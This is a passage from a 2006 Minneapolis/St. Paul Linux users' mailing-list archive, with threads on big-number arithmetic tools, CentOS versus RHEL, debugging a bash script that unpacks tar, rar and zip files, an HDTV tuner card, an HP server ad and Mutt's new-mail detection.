http://mailman.mn-linux.org/mailman/listinfo/tclug-list From mbmiller at taxa.epi.umn.edu Mon Mar 13 18:20:59 2006 From: mbmiller at taxa.epi.umn.edu (Mike Miller) Date: Mon, 13 Mar 2006 18:20:59 -0600 (CST) Subject: [tclug-list] large number calculator In-Reply-To: <011FF5D3-A7EA-44B8-8911-537E057E4163@signal15.com> References: <5565C35F-CCCC-43C6-9413-894EC4E0C021@signal15.com> <20060313231142.GJ9440@athena.iucha.org> <011FF5D3-A7EA-44B8-8911-537E057E4163@signal15.com> Message-ID: On Mon, 13 Mar 2006, Jay Austad wrote: > Pari looks interesting. I'm reading the docs, and it doesn't look like > it will handle the size of the numbers I'm dealing with (2^4000000000 > and larger). I've used some approximation techniques to get my answer, > however, I've tried 3 of them, and they all give me numbers that are way > different. I need an exact answer. Eventually, I need a way to do this > calculation fast too. Does anyone here have a really good understanding > of math and experience with FPGA's? It's possible that I'll be able to do it, but I don't know. I do a lot of work with probability. Would it be hard to just tell us what the problem is? (Even if Pari solves it for you?) Mike From bhurt at spnz.org Mon Mar 13 18:33:46 2006 From: bhurt at spnz.org (Brian Hurt) Date: Mon, 13 Mar 2006 18:33:46 -0600 (CST) Subject: [tclug-list] large number calculator In-Reply-To: <011FF5D3-A7EA-44B8-8911-537E057E4163@signal15.com> References: <5565C35F-CCCC-43C6-9413-894EC4E0C021@signal15.com> <20060313231142.GJ9440@athena.iucha.org> <011FF5D3-A7EA-44B8-8911-537E057E4163@signal15.com> Message-ID: On Mon, 13 Mar 2006, Jay Austad wrote: > Pari looks interesting. I'm reading the docs, and it doesn't look > like it will handle the size of the numbers I'm dealing with > (2^4000000000 and larger). I've used some approximation techniques > to get my answer, however, I've tried 3 of them, and they all give me > numbers that are way different. I need an exact answer. Eventually, > I need a way to do this calculation fast too. Does anyone here have > a really good understanding of math and experience with FPGA's? I comment that simply exactly *representing* a number of the form 2^4000000000 takes like 476.8 megabytes. Unless you're on a 64-bit system with boatloads of memory, you're going to be hitting memory problems big time- simply holding more then 2 or 3 numbers of that size in memory is going to be a trick. I'd probably be looking at hand coding a solution using GMP and C in your place. You're definately in FFT-multiply area. Heck, simply *adding* two numbers is going to take a signifigant fraction of a second on most machines. Brian From mbmiller at taxa.epi.umn.edu Mon Mar 13 18:55:55 2006 From: mbmiller at taxa.epi.umn.edu (Mike Miller) Date: Mon, 13 Mar 2006 18:55:55 -0600 (CST) Subject: [tclug-list] large number calculator In-Reply-To: References: <5565C35F-CCCC-43C6-9413-894EC4E0C021@signal15.com> <20060313231142.GJ9440@athena.iucha.org> <011FF5D3-A7EA-44B8-8911-537E057E4163@signal15.com> Message-ID: On Mon, 13 Mar 2006, Brian Hurt wrote: > I comment that simply exactly *representing* a number of the form > 2^4000000000 takes like 476.8 megabytes. It could take 500 megabytes or about 476.8 mebibytes: http://physics.nist.gov/cuu/Units/binary.html But representation of 2^4000000000 using "2^4000000000" only requires 12 bytes, a considerable savings! Mike From florin at iucha.net Mon Mar 13 18:58:03 2006 From: florin at iucha.net (Florin Iucha) Date: Mon, 13 Mar 2006 18:58:03 -0600 Subject: [tclug-list] large number calculator In-Reply-To: References: <5565C35F-CCCC-43C6-9413-894EC4E0C021@signal15.com> <20060313231142.GJ9440@athena.iucha.org> <011FF5D3-A7EA-44B8-8911-537E057E4163@signal15.com> Message-ID: <20060314005803.GA27646@iucha.net> On Mon, Mar 13, 2006 at 06:33:46PM -0600, Brian Hurt wrote: > On Mon, 13 Mar 2006, Jay Austad wrote: > > >Pari looks interesting. I'm reading the docs, and it doesn't look > >like it will handle the size of the numbers I'm dealing with > >(2^4000000000 and larger). I've used some approximation techniques > >to get my answer, however, I've tried 3 of them, and they all give me > >numbers that are way different. I need an exact answer. Eventually, > >I need a way to do this calculation fast too. Does anyone here have > >a really good understanding of math and experience with FPGA's? > > I comment that simply exactly *representing* a number of the form > 2^4000000000 takes like 476.8 megabytes. Unless you're on a 64-bit system > with boatloads of memory, you're going to be hitting memory problems big > time- simply holding more then 2 or 3 numbers of that size in memory is > going to be a trick. > > I'd probably be looking at hand coding a solution using GMP and C in your > place. You're definately in FFT-multiply area. Heck, simply *adding* two > numbers is going to take a signifigant fraction of a second on most > machines. pari is a C library too. florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... 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Some things have broken in the past, some things may break in the future, and if a 3rd party vendor wants to write their installer so it won't install on CentOS, that's fairly easy to do. I have personally seen 3rd party installers that wouldn't install on a rebuild in the past. Yes, people write the ugliest of code when they're looking to see if they're installing on RHEL4, SuSe, Solaris, or something else. When Red Hat releases updates, they release the binaries first, and usually the sources aren't far behind. After that, rebuilders like the CentOS maintainers will finally get their new binaries out to their servers and then push it to their mirrors where you can download it. If timely security updates are an issue for you, then you could be disappointed. There have been cases where the sources that Red Hat supplied in the SRPM wouldn't build properly with the gcc that they supplied. Red Hat fixed their own binaries by building with a pre-release version of the compiler, but people who built the package based on the distributed sources and compilers got a broken binary. This isn't to say that CentOS is bad or that it's not suitable for you. I run a rebuild myself (not CentOS) at home. At work, I run exclusively RHEL3 and RHEL4 on my Linux systems. I see that RHEL4 U3 has hit RHN - the new binaries havn't hit my rebuild's mirrors yet. That's not a problem at home but if I needed a quicker fix at work, I could have had it by now. .../Ed -- Ed Wilts, RHCE Mounds View, MN, USA mailto:ewilts at ewilts.org Member #1, Red Hat Community Ambassador Program From cncole at earthlink.net Mon Mar 13 21:23:14 2006 From: cncole at earthlink.net (Chuck Cole) Date: Mon, 13 Mar 2006 21:23:14 -0600 Subject: [tclug-list] large number calculator In-Reply-To: Message-ID: Large what.. mantisaa or exponent? Mantissa precision is probably what you seek. Many languages have IEEE double precision math available if you "ask for it" and diligently verify that it's in each and every step. That should give about a 64bit mantissa IIRC. HP calculators have larger mantissa capability than any other scientific calculators and that's probably enough for your math. I've done lengthy calculations requiring one part in 10 million precision throughout on HP scientific calculators, and that's a lot easier than programming something to keep that precision unless it's an automated and repetitive process. Gotta be real careful that any programming math package may have some functions that limit the overall precision of the calculations to about 1 part in a million or less. Transcendentals are usually not very good. Calculations in optics and some laser work are unforgiving however, and demand the precision to get any useful result. Chuck -----Original Message----- From: tclug-list-bounces at mn-linux.org [mailto:tclug-list-bounces at mn-linux.org]On Behalf Of Tim Wilson Sent: Monday, March 13, 2006 4:58 PM To: Jay Austad Cc: tclug-list at mn-linux.org Subject: Re: [tclug-list] large number calculator On Mar 13, 2006, at 4:43 PM, Jay Austad wrote: I need to do some calculations on very large numbers, and bc won't handle it. Does anyone know if a good tool which doesn't really have a limit on the size of numbers that it can deal with? Something preferably free, I only really need to do one calculation to find out the probability of something, but it's fairly complex and has huge numbers in it. Python handles large ints pretty well. You could just fire up the python interpreter (type 'python' in a shell) and start entering your numbers is regular mathematical notation. -Tim -- Tim Wilson Twin Cities, Minnesota, USA Educational technology guy, Linux and OS X fan, Grad. student, Daddy mailto: wilson at visi.com aim: tis270 blog: http://technosavvy.org -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060313/7119cbb9/attachment.htm From cncole at earthlink.net Mon Mar 13 21:23:15 2006 From: cncole at earthlink.net (Chuck Cole) Date: Mon, 13 Mar 2006 21:23:15 -0600 Subject: [tclug-list] large number calculator In-Reply-To: <011FF5D3-A7EA-44B8-8911-537E057E4163@signal15.com> Message-ID: I have the general knowledge of machine math and speed, but am not familiar with specific fpga limits. Chuck > -----Original Message----- > From: tclug-list-bounces at mn-linux.org > [mailto:tclug-list-bounces at mn-linux.org]On Behalf Of Jay Austad > Sent: Monday, March 13, 2006 5:34 PM > To: Florin Iucha > Cc: tclug-list at mn-linux.org > Subject: Re: [tclug-list] large number calculator > > > Pari looks interesting. I'm reading the docs, and it doesn't look > like it will handle the size of the numbers I'm dealing with > (2^4000000000 and larger). I've used some approximation techniques > to get my answer, however, I've tried 3 of them, and they all give me > numbers that are way different. I need an exact answer. Eventually, > I need a way to do this calculation fast too. Does anyone here have > a really good understanding of math and experience with FPGA's? > > On Mar 13, 2006, at 5:11 PM, Florin Iucha wrote: > > > On Mon, Mar 13, 2006 at 04:43:03PM -0600, Jay Austad wrote: > >> I need to do some calculations on very large numbers, and bc won't > >> handle it. Does anyone know if a good tool which doesn't really have > >> a limit on the size of numbers that it can deal with? Something > >> preferably free, I only really need to do one calculation to find out > >> the probability of something, but it's fairly complex and has huge > >> numbers in it. > > > > Pari: > > > > http://pari.math.u-bordeaux.fr/ > > > > http://www.its.caltech.edu/~dw/maths/PARI.pdf > > > > florin > > > > -- > > Don't question authority: they don't know either! > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > tclug-list at mn-linux.org > > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > From jpschewe at mtu.net Tue Mar 14 05:47:31 2006 From: jpschewe at mtu.net (Jon Schewe) Date: Tue, 14 Mar 2006 05:47:31 -0600 Subject: [tclug-list] Extracting multiple tar files In-Reply-To: References: <20060226144603.GA9845@www.ewilts.org> <20060227001515.GA21190@www.ewilts.org> Message-ID: <1142336852.18722.72.camel@workstation.mn.mtu.net> On Mon, 2006-03-13 at 17:47 -0600, Jordan Peacock wrote: > Something like this? > > find . -name '*.tar' '*.zip' '*.rar' -exec # is there some > symbol denoting 'or'? > if.... > then... > > #!/bin/bash > > for i in *.rar; do > mkdir `basename $i .rar`.dir > cd `basename $i .rar`.dir > unrar e ../$i > cd .. > done > > # Brian Hurt's original > > for i in *.tar; do > mkdir `basename $i .tar`.dir > cd `basename $i .tar`.dir > tar xvf ../$i > cd .. > done > If you need if/else logic you need to write a shell script. Find won't cut it on it's own, even though it does have "and" and "or". Something like this will work: #!/bin/bash for i in `find . -name '*.tar' -o -name '*.rar' -o -name '*.zip'; do case $i in *.tar) tar -xvf $i ;; *.rar) rar... ;; *.zip) zip... ;; esac done The case statement switches between multiple options. "esac" ends the case statement. Each option is listed with some string followed by ")". That string can use shell expressions for matching. The code in the option gets executed until ";;'. Note that this find will find all files recursively in the current directory. If you just want all of the files in a directory change the find to: "*.zip *.rar *.tar". ________________________________________________________________________ Jon Schewe | http://mtu.net/~jpschewe If you see a signature.asc file attached to the message this is my digital signature. See http://www.gnupg.org for more information. For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060314/02c8aa5d/attachment-0001.pgp From hewhocutsdown at gmail.com Tue Mar 14 07:20:30 2006 From: hewhocutsdown at gmail.com (Jordan Peacock) Date: Tue, 14 Mar 2006 07:20:30 -0600 Subject: [tclug-list] Extracting multiple tar files In-Reply-To: References: <20060226144603.GA9845@www.ewilts.org> Message-ID: Brian, I have a question about your code specifically, as I've been trying to modify it, without success. Here's the current incarnation: #!/bin/bash for i in `find . -name '*.tar' -o -name '*.rar' -o -name '*.zip'; do case $i in *.tar) mkdir `basename $i .tar`.dir cd `basename $i .tar`.dir tar xvf ../$i cd .. ;; *.rar) mkdir `basename $i .rar`.dir cd `basename $i .rar`.dir unrar e ../$i cd .. ;; *.zip) mkdir `basename $i .zip`.dir cd `basename $i .zip`.dir unzip -d ../$i cd .. ;; esac done The find definately works. I've tested that. But I haven't been able to get any of the rest to actually do what it's supposed to, and I don't understand what's happening clearly enough. So.... *.tar) # this is the case identifier mkdir `basename $i .tar`.dir # making a new directory, with $i being all characters before .tar. What is the significance of basename or the single quotes? Does .dir change it's 'extension' to a directory? cd `basename $i .tar`.dir # we're moving into the newly made directory, although i'm not sure why the .tar stuff is still there; it's a directory now, right? tar xvf ../$i # we execute tar and look for the file $i in the parent directory cd .. # moving back into the parent dir for the next file ;; # denotes end of case I'm experiencing some errors at the cli as well; line 18: unexpected EOF while looking for matching ``' cd `basename $i .zip`.dir # this is the trouble line line 25: syntax error: unexpected end of file # there is no line 25 ? The code ends at 24. I have to say a huge thank you to everyone who has contributed. I know these are kind of stupid questions, but the shell scripting tutorials aren't covering a lot of this. Thank for stepping me through this beginner shell script. -jordan From esper at sherohman.org Tue Mar 14 10:18:43 2006 From: esper at sherohman.org (Dave Sherohman) Date: Tue, 14 Mar 2006 10:18:43 -0600 Subject: [tclug-list] Extracting multiple tar files In-Reply-To: References: <20060226144603.GA9845@www.ewilts.org> Message-ID: <20060314161843.GG12093@sherohman.org> On Tue, Mar 14, 2006 at 07:20:30AM -0600, Jordan Peacock wrote: > mkdir `basename $i .tar`.dir # making a new directory, with $i > being all characters before .tar. What is the significance of basename The file name consists of a "base name" and an extension. `basename ` strips the given extension from the end of the file name and returns... the base name. > or the single quotes? First off, note that they're ` (what I call a backtick, normally on the ~ key on US keyboards), not ' (a single quote/apostrophe, normally sharing a key with "). It looks like you've probably got it right, but just making sure since switching between the two would definitely cause problems! Anyhow, enclosing something in backticks tells bash to execute the command within them and substitute its output for the backtick- enclosed string. > Does .dir change it's 'extension' to a > directory? Nope, it doesn't change anything - the original command is mkdir, not mv. The total effect of this line is to create a new directory with the same name as the tar file, but with the extension .dir instead of .tar. Assuming $i is tarfile.tar, `basename $i.tar` returns "tarfile", giving you the command "mkdir tarfile.dir". > cd `basename $i .tar`.dir # we're moving into the newly made > directory, although i'm not sure why the .tar stuff is still there; > it's a directory now, right? Correct that it moves into the newly-created directory, but the original tarfile has not been touched beyond looking at its name. It has not been changed in any way. The `basename $i .tar` is repeated because the name of the directory wasn't stored, so we have to generate the name again. If you didn't want to run basename twice, you could instead do: $dirname=`basename $i .tar`.dir mkdir $dirname cd $dirname > tar xvf ../$i # we execute tar and look for the file $i in the > parent directory > cd .. # moving back into the parent dir for the next file > ;; # denotes end of case Yep, yep, and yep. > I'm experiencing some errors at the cli as well; > > line 18: unexpected EOF while looking for matching ``' > cd `basename $i .zip`.dir # this is the trouble line What's the value of $i when you get this error? My first guess would be that it contains some characters which are significant to bash, in which case you could try cd `basename "$i" .zip`.dir instead to provide some protection against that. (Personally, I'd put the double quotes around $i anyhow, since so many people put spaces in filenames these days, which is sufficient to break it if you don't have the them.) > line 25: syntax error: unexpected end of file # there is no line 25 ? > The code ends at 24. Well, if it's continuing to look for a stray ` after the final line of the file, I'd say that counts as an "unexpected end of file", no? -- The freedoms that we enjoy presently are the most important victories of the White Hats over the past several millennia, and it is vitally important that we don't give them up now, only because we are frightened. - Eolake Stobblehouse (http://stobblehouse.com/text/battle.html) From webmaster at mn-linux.org Tue Mar 14 10:33:44 2006 From: webmaster at mn-linux.org (TCLUG Classifieds) Date: Tue, 14 Mar 2006 10:33:44 -0600 Subject: [tclug-list] New TCLUG Classified Ad Message-ID: <200603141633.k2EGXij09797@crusader.real-time.com> New TCLUG Classified Ad Category: Computer Type of Ad: For Sale Subject: ML350 Ok folks, I have two of these. Tower ML350 boxes, one is dual P-3/1000, one is single proc. there will be 512MB RAM in each one.They are like new.What I'm looking to do is TRADE for similar technology, or slightly newer, but in a rack-mount format I will happily listen to ANY reasonable offer. I can sweeten the deal by adding in scsi drives and/or fibre channel cards. Seller Email address: tletofsky at umwcs dot com http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From dalan at visi.com Tue Mar 14 11:01:28 2006 From: dalan at visi.com (dalan at visi.com) Date: Tue, 14 Mar 2006 11:01:28 -0600 Subject: [tclug-list] Extracting multiple tar files In-Reply-To: References: <20060226144603.GA9845@www.ewilts.org> Message-ID: <1142355688.4416f6e8c4275@my.visi.com> Jordan, In the "for" command the find is not contained in backticks. Right after the last command and before the semicolon there needs to be a backtick as well. I would also think you need to tell find what you want to do once the file is found either an -ls or -print command. I would suggest checking the content of $i before the case command to see what it contains. Something like the following. #!/bin/bash for i in `find . -name '*.tar' -o -name '*.rar' -o -name '*.zip' -print`; do echo $i case $i in Just a thought. Don Sparish Quoting Jordan Peacock : > Brian, I have a question about your code specifically, as I've been > trying to modify it, without success. Here's the current incarnation: > > #!/bin/bash > for i in `find . -name '*.tar' -o -name '*.rar' -o -name '*.zip'; do > case $i in > *.tar) > mkdir `basename $i .tar`.dir > cd `basename $i .tar`.dir > tar xvf ../$i > cd .. > ;; > *.rar) > mkdir `basename $i .rar`.dir > cd `basename $i .rar`.dir > unrar e ../$i > cd .. > ;; > *.zip) > mkdir `basename $i .zip`.dir > cd `basename $i .zip`.dir > unzip -d ../$i > cd .. > ;; > esac > done > > The find definately works. I've tested that. But I haven't been able > to get any of the rest to actually do what it's supposed to, and I > don't understand what's happening clearly enough. So.... > > *.tar) # this is the case identifier > mkdir `basename $i .tar`.dir # making a new directory, with $i > being all characters before .tar. What is the significance of basename > or the single quotes? Does .dir change it's 'extension' to a > directory? > cd `basename $i .tar`.dir # we're moving into the newly made > directory, although i'm not sure why the .tar stuff is still there; > it's a directory now, right? > tar xvf ../$i # we execute tar and look for the file $i in the > parent directory > cd .. # moving back into the parent dir for the next file > ;; # denotes end of case > > > I'm experiencing some errors at the cli as well; > > line 18: unexpected EOF while looking for matching ``' > cd `basename $i .zip`.dir # this is the trouble line > line 25: syntax error: unexpected end of file # there is no line 25 ? > The code ends at 24. > > I have to say a huge thank you to everyone who has contributed. I know > these are kind of stupid questions, but the shell scripting tutorials > aren't covering a lot of this. Thank for stepping me through this > beginner shell script. > > -jordan > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > From patrickm at citilink.com Tue Mar 14 11:14:24 2006 From: patrickm at citilink.com (Patrick McCabe) Date: Tue, 14 Mar 2006 11:14:24 -0600 Subject: [tclug-list] HDTV Tuner Card In-Reply-To: <4411BB11.8020900@mn.rr.com> References: <5bab831e0603100715u38e1c014y8a7b6e30cf720996@mail.gmail.com> <3245.66.149.16.202.1142010151.squirrel@webmail.hockey.net> <4411BB11.8020900@mn.rr.com> Message-ID: <4416F9F0.8060909@citilink.com> The distribution I use is Knoppmyth. I don't use a special antenna - an old set of rabbit ears works fine for me. The pcHDTV site has utilities for download that will scan channels and show signal strength (dtvscan and dtvsignal I believe). Try those out to see if you are receiving. There is also the dvb-utils package, which does the same kind of stuff. They recommend using the DVB drivers for the HD-3000, so you run dtvscan something like #dtvscan -dvb 0 In myth-setup when specifying the capture card, specify DVB, not the one that says HD2000/HD3000. Patrick McCabe Nick Traxler wrote: > I have an HD-3000 too, but I've had some trouble getting it working in > Ubuntu. I've been able to view NTSC with my old bunny ears, but can you > post some more info about your setup? Specifically, do you use an HD > antenna, and which Linux distribution and HD viewer do you run? > > Thanks for the info, > Nick > > Patrick McCabe wrote: > >>I am using a pcHDTV HD-3000 and it works well. It's around $175 now I think. >>Use the DVB drivers. My 42-inch plasma has a VGA input and a 1024x768 native >>resolution, so setting up X11 was easy. When my DVI-to-HDMI cable shows up I >>will try that. I am using an NVIDIA 6200 video card; I get some hiccups when >>watching an HDTV program with the on-screen info overlayed, but I may be >>able to fix that with some tweaking. I've only had this running for a couple >>weeks. >> >>There is also an Air2PC card that people are using, but I have no experience >>with it. >> >>Patrick McCabe > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > From cschumann at twp-llc.com Tue Mar 14 12:15:05 2006 From: cschumann at twp-llc.com (Chris Schumann) Date: Tue, 14 Mar 2006 12:15:05 -0600 (CST) Subject: [tclug-list] Rack Mount ML350's In-Reply-To: References: Message-ID: <47277.192.28.2.52.1142360105.squirrel@alpha.twp-llc.com> > Date: Tue, 14 Mar 2006 10:33:44 -0600 > Subject: ML350 > > Ok folks, I have two of these. Tower ML350 boxes, one is dual P-3/1000, > one is single proc. there will be 512MB RAM in each one.They are like > new.What I'm looking to do is TRADE for similar technology, or slightly > newer, but in a rack-mount format for both Microsoft 2003 and Linux> I will happily listen to ANY > reasonable offer. I can sweeten the deal by adding in scsi drives > and/or fibre channel cards. > > Seller Email address: tletofsky at umwcs dot com > > http://www.mn-linux.org/cgi-bin/classifieds/index.cgi According to HP's site (assuming you don't mean the Mercedes-Benz ML350!), you can get a rack-mount conversion kit for this machine. http://h18004.www1.hp.com/products/servers/proliantml350/comparison-g3.html I searched for "hp rack conversion" on ebay and got 14 hits. Some might work for you. From smac at visi.com Tue Mar 14 12:39:04 2006 From: smac at visi.com (smac at visi.com) Date: Tue, 14 Mar 2006 12:39:04 -0600 Subject: [tclug-list] Rack Mount ML350's In-Reply-To: <47277.192.28.2.52.1142360105.squirrel@alpha.twp-llc.com> References: <47277.192.28.2.52.1142360105.squirrel@alpha.twp-llc.com> Message-ID: <1142361544.44170dc886b00@my.visi.com> Get a rack kit for each from HP these are great servers for what ever you need them for. Be sure to get "SmartStart" or what ever HP is calling it now, to configure the systems if they have RAID controllers in them. Sam. Quoting Chris Schumann : > > Date: Tue, 14 Mar 2006 10:33:44 -0600 > > > Subject: ML350 > > > > Ok folks, I have two of these. Tower ML350 boxes, one is dual P-3/1000, > > one is single proc. there will be 512MB RAM in each one.They are like > > new.What I'm looking to do is TRADE for similar technology, or slightly > > newer, but in a rack-mount format > for both Microsoft 2003 and Linux> I will happily listen to ANY > > reasonable offer. I can sweeten the deal by adding in scsi drives > > and/or fibre channel cards. > > > > Seller Email address: tletofsky at umwcs dot com > > > > http://www.mn-linux.org/cgi-bin/classifieds/index.cgi > > According to HP's site (assuming you don't mean the Mercedes-Benz ML350!), > you can get a rack-mount conversion kit for this machine. > > http://h18004.www1.hp.com/products/servers/proliantml350/comparison-g3.html > > I searched for "hp rack conversion" on ebay and got 14 hits. Some might > work for you. > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > From dan at dandrake.org Tue Mar 14 13:29:20 2006 From: dan at dandrake.org (Dan Drake) Date: Tue, 14 Mar 2006 13:29:20 -0600 Subject: [tclug-list] Mutt always thinks there's new mail in /var/mail/$USERNAME Message-ID: <20060314192920.GA21087@dandrake.org> I just moved my mail over to a new Debian box, and now Mutt always thinks I have new mail in my mailspool (/var/mail/dan). If I'm in, say, my tclug folder, after reading a message, Mutt will say I have new mail in my inbox -- but there's not. I'm guessing this is some sort of file access/modification time issue, but I don't know what's the problem or how to fix it. Any suggestions? Thanks, Dan -- Ceci n'est pas une .signature. -------------- next part -------------- A non-text attachment was scrubbed... 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Ted --- smac at visi.com wrote: > Get a rack kit for each from HP these are great > servers for what ever you need > them for. > > Be sure to get "SmartStart" or what ever HP is > calling it now, to configure the > systems if they have RAID controllers in them. > > Sam. > > Quoting Chris Schumann : > > > > Date: Tue, 14 Mar 2006 10:33:44 -0600 > > > > > Subject: ML350 > > > > > > Ok folks, I have two of these. Tower ML350 > boxes, one is dual P-3/1000, > > > one is single proc. there will be 512MB RAM in > each one.They are like > > > new.What I'm looking to do is TRADE for similar > technology, or slightly > > > newer, but in a rack-mount format LAB environment at home > > > for both Microsoft 2003 and Linux> I will > happily listen to ANY > > > reasonable offer. I can sweeten the deal by > adding in scsi drives > > > and/or fibre channel cards. > > > > > > Seller Email address: tletofsky at umwcs dot com > > > > > > > http://www.mn-linux.org/cgi-bin/classifieds/index.cgi > > > > According to HP's site (assuming you don't mean > the Mercedes-Benz ML350!), > > you can get a rack-mount conversion kit for this > machine. > > > > > http://h18004.www1.hp.com/products/servers/proliantml350/comparison-g3.html > > > > I searched for "hp rack conversion" on ebay and > got 14 hits. Some might > > work for you. > > > > > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, > Minnesota > > tclug-list at mn-linux.org > > > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From ewilts at ewilts.org Tue Mar 14 14:30:51 2006 From: ewilts at ewilts.org (Ed Wilts) Date: Tue, 14 Mar 2006 14:30:51 -0600 Subject: [tclug-list] Mutt always thinks there's new mail in /var/mail/$USERNAME In-Reply-To: <20060314192920.GA21087@dandrake.org> References: <20060314192920.GA21087@dandrake.org> Message-ID: <20060314203051.GB26654@www.ewilts.org> On Tue, Mar 14, 2006 at 01:29:20PM -0600, Dan Drake wrote: > I just moved my mail over to a new Debian box, and now Mutt always > thinks I have new mail in my mailspool (/var/mail/dan). If I'm in, say, > my tclug folder, after reading a message, Mutt will say I have new mail > in my inbox -- but there's not. I've got the opposite problem - frequently mutt doesn't realize that there is new mail in say my tclug folder when there is. If I manually switch to the folder, the mail is new. I'm running Mutt 1.4.1i on a RHEL 4 rebuild. .../Ed -- Ed Wilts, RHCE Mounds View, MN, USA mailto:ewilts at ewilts.org Member #1, Red Hat Community Ambassador Program From crumley at belka.space.umn.edu Tue Mar 14 14:53:09 2006 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Tue, 14 Mar 2006 14:53:09 -0600 Subject: [tclug-list] Mutt always thinks there's new mail in /var/mail/$USERNAME In-Reply-To: <20060314203051.GB26654@www.ewilts.org> References: <20060314192920.GA21087@dandrake.org> <20060314203051.GB26654@www.ewilts.org> Message-ID: <20060314145309.A2945@baker.space.umn.edu> On Tue, Mar 14, 2006 at 02:30:51PM -0600, Ed Wilts wrote: > On Tue, Mar 14, 2006 at 01:29:20PM -0600, Dan Drake wrote: > > I just moved my mail over to a new Debian box, and now Mutt always > > thinks I have new mail in my mailspool (/var/mail/dan). If I'm in, say, > > my tclug folder, after reading a message, Mutt will say I have new mail > > in my inbox -- but there's not. > > I've got the opposite problem - frequently mutt doesn't realize that > there is new mail in say my tclug folder when there is. If I manually > switch to the folder, the mail is new. I'm running Mutt 1.4.1i on a > RHEL 4 rebuild. I am not sure if these answers either of you, but it is worth a try. I know that I have run into both of these problems myself, and at least one of the times I fiexed it by changes which "biff" variant I used. From bogus@does.not.exist.com Tue Mar 7 15:35:23 2006 From: bogus@does.not.exist.com () Date: Tue, 07 Mar 2006 21:35:23 -0000 Subject: No subject Message-ID: Why are the "new/unread" status flags of mbox folders wrong in folder view? As written in manual.txt, the flags are determined by comparing the timestamps of last access and modification. This can get messed up if the folders are "touched" by other programs than mutt, like "biff" or backup software. There is also some issue with the "noatime" flag for mounting filesystems (most often used on laptops). If "noatime" is activated, no timestamp is updated for the last folder access, i.e. Mutt cannot determine if the folder has received new mail since last visited. You can recompile Mutt with the --buffy-size option to "configure". Mutt will then use the folder size instead of the access times. (This is only a workaround and might give suboptimal results; another option is to use the MaildirFormat.) -- Jim Crumley |Twin Cities Linux Users Group Mailing List (TCLUG) Ruthless Debian Zealot |http://www.mn-linux.org/ Never laugh at live dragons | From hewhocutsdown at gmail.com Tue Mar 14 14:53:20 2006 From: hewhocutsdown at gmail.com (Jordan Peacock) Date: Tue, 14 Mar 2006 14:53:20 -0600 Subject: [tclug-list] Extracting multiple tar files In-Reply-To: <1142355688.4416f6e8c4275@my.visi.com> References: <20060226144603.GA9845@www.ewilts.org> <1142355688.4416f6e8c4275@my.visi.com> Message-ID: I've found part of the difficulty; Files names are being separated at each space, making a single file being broken up into unintelligible fragments (example below) I wrote/ran this code to check it: #!/bin/bash for i in `find . -name '*.tar' -o -name '*.rar' -o -name '*.zip'`; do print "$i" done And a sample of the output (1 file, called Down #001 - Down (Part 1).tar); Error: no such file "./Down" Warning: unknown mime-type for "#001" -- using "application/*" Error: no such file "#001" Warning: unknown mime-type for "-" -- using "application/*" Error: no "print" mailcap rules found for type "application/*" Warning: unknown mime-type for "Down" -- using "application/*" Error: no such file "Down" Warning: unknown mime-type for "(Part" -- using "application/*" Error: no such file "(Part" Error: no such file "1).tar" As noted by Dave Sherohman, the backtick in `; do was added, and Don Sparish recommended the check (thank you for the sample code); i've added double-quotes to $i above but it doesn't seem to deal with this issue of spaces in filenames yet. What would this Warning about mime-type have to do with anything? I haven't tested the unpackaging code as yet, I'm dealing with the find function first. *grins* -jordan On 3/14/06, dalan at visi.com wrote: > Jordan, > > In the "for" command the find is not contained in backticks. Right after the > last command and before the semicolon there needs to be a backtick as well. I > would also think you need to tell find what you want to do once the file is > found either an -ls or -print command. > > I would suggest checking the content of $i before the case command to see what > it contains. > > > Something like the following. > #!/bin/bash > for i in `find . -name '*.tar' -o -name '*.rar' -o -name '*.zip' -print`; do > echo $i > case $i in > > Just a thought. > > Don Sparish > > Quoting Jordan Peacock : > > > Brian, I have a question about your code specifically, as I've been > > trying to modify it, without success. Here's the current incarnation: > > > > #!/bin/bash > > for i in `find . -name '*.tar' -o -name '*.rar' -o -name '*.zip'; do > > case $i in > > *.tar) > > mkdir `basename $i .tar`.dir > > cd `basename $i .tar`.dir > > tar xvf ../$i > > cd .. > > ;; > > *.rar) > > mkdir `basename $i .rar`.dir > > cd `basename $i .rar`.dir > > unrar e ../$i > > cd .. > > ;; > > *.zip) > > mkdir `basename $i .zip`.dir > > cd `basename $i .zip`.dir > > unzip -d ../$i > > cd .. > > ;; > > esac > > done > > > > The find definately works. I've tested that. But I haven't been able > > to get any of the rest to actually do what it's supposed to, and I > > don't understand what's happening clearly enough. So.... > > > > *.tar) # this is the case identifier > > mkdir `basename $i .tar`.dir # making a new directory, with $i > > being all characters before .tar. What is the significance of basename > > or the single quotes? Does .dir change it's 'extension' to a > > directory? > > cd `basename $i 